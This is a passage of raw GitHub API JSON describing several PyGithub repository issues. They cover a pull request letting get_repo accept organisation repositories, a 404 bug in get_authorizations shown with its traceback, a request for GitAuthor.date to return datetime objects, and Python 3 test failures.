user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":8,"created_at":"2012-12-17T03:02:50Z","updated_at":"2012-12-22T02:00:55Z","closed_at":"2012-12-21T19:42:09Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/121","diff_url":"https://github.com/jacquev6/PyGithub/pull/121.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/121.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"### Why?\r\n- For projects I dont own, but I am a collaborator, or for directly accessing organisation repos without needing to traverse user.get_orgs.\r\n\r\n### Example\r\n```python\r\nuser.get_repo(\"my_repo\") # existing behaviour still works\r\nuser.get_repo(\"my_org/repo\") # this is now possible\r\n```\r\n\r\n\r\nThanks,\r\nLuke Cawood"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/events","html_url":"https://github.com/jacquev6/PyGithub/issues/134","id":10379143,"number":134,"title":"Can't verify authorizations of token-authorized user","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":9,"created_at":"2013-01-28T15:33:19Z","updated_at":"2013-02-06T10:54:50Z","closed_at":"2013-02-05T23:07:06Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi!\r\nI think I've found a bug. I successfully created an API authorization with some scopes. In the program I want to use this autorization in, I'm trying to verify the correct scopes before proceeding, but this does not work as expected. From iPython:\r\n\r\n``` python\r\nfrom github import Github\r\nuser = Github(some_token).get_user()\r\nauths=user.get_authorizations()\r\nauths\r\nOut[5]: \r\nfor a in auths:\r\n print a.note\r\n---------------------------------------------------------------------------\r\nGithubException Traceback (most recent call last)\r\n in ()\r\n----> 1 for a in auths:\r\n 2 print a.note\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in __iter__(self)\r\n 33 yield element\r\n 34 while self._couldGrow():\r\n---> 35 newElements = self.__grow()\r\n 36 for element in newElements:\r\n 37 yield element\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in __grow(self)\r\n 45 \r\n 46 def __grow(self):\r\n---> 47 newElements = self._fetchNextPage()\r\n 48 self.__elements += newElements\r\n 49 return newElements\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in _fetchNextPage(self)\r\n 83 \r\n 84 def _fetchNextPage(self):\r\n---> 85 headers, data = self.__requester.requestAndCheck(\"GET\", self.__nextUrl, self.__nextParams, None)\r\n 86 \r\n 87 links = self.__parseLinkHeader(headers)\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/Requester.pyc in requestAndCheck(self, verb, url, parameters, input)\r\n 78 output = self.__structuredFromJson(output)\r\n 79 if status >= 400:\r\n---> 80 raise GithubException.GithubException(status, output)\r\n 81 return headers, output\r\n 82 \r\n\r\nGithubException: 404 {u'message': u'Not Found'}\r\n```\r\n\r\nis this a bug or am I doing something wrong/impossible. \r\n\r\nbtw, when creating a github instance with an authorization token, this does not error out when the token is invalid, i.e. I can say `Github(\"mySillyString\")` without error message - is this by design?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/events","html_url":"https://github.com/jacquev6/PyGithub/issues/54","id":5387373,"number":54,"title":"GitAuthor.date should return datetime, not string","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7/labels","id":140183,"number":7,"title":"Version 1.3","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-07-03T07:32:39Z","updated_at":"2012-07-13T20:01:15Z","due_on":"2012-07-16T07:00:00Z"},"comments":12,"created_at":"2012-07-02T14:38:01Z","updated_at":"2012-07-18T09:21:16Z","closed_at":"2012-07-13T19:21:04Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi!\n\nIt's great that all date-like objects are datetime.datetime now, makes working with it so easy. However, I think you missed GitAuthor.date, it would be great if this would also return datetimes.\n\nBackground: To get the dates of tags, I did `MyTag.commit.commit.committer.date`, and expected this to return a datetime object (like all the others do), but it returns a string."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/events","html_url":"https://github.com/jacquev6/PyGithub/issues/149","id":12179668,"number":149,"title":"Test failures with python3","user":{"login":"bkabrda","id":1050061,"avatar_url":"https://secure.gravatar.com/avatar/60d06f7560160f3ce7aa3877596da63f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"60d06f7560160f3ce7aa3877596da63f","url":"https://api.github.com/users/bkabrda","html_url":"https://github.com/bkabrda","followers_url":"https://api.github.com/users/bkabrda/followers","following_url":"https://api.github.com/users/bkabrda/following{/other_user}","gists_url":"https://api.github.com/users/bkabrda/gists{/gist_id}","starred_url":"https://api.github.com/users/bkabrda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bkabrda/subscriptions","organizations_url":"https://api.github.com/users/bkabrda/orgs","repos_url":"https://api.github.com/users/bkabrda/repos","events_url":"https://api.github.com/users/bkabrda/events{/privacy}","received_events_url":"https://api.github.com/users/bkabrda/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":12,"created_at":"2013-03-19T13:25:29Z","updated_at":"2013-03-22T07:04:32Z","closed_at":"2013-03-21T23:34:58Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https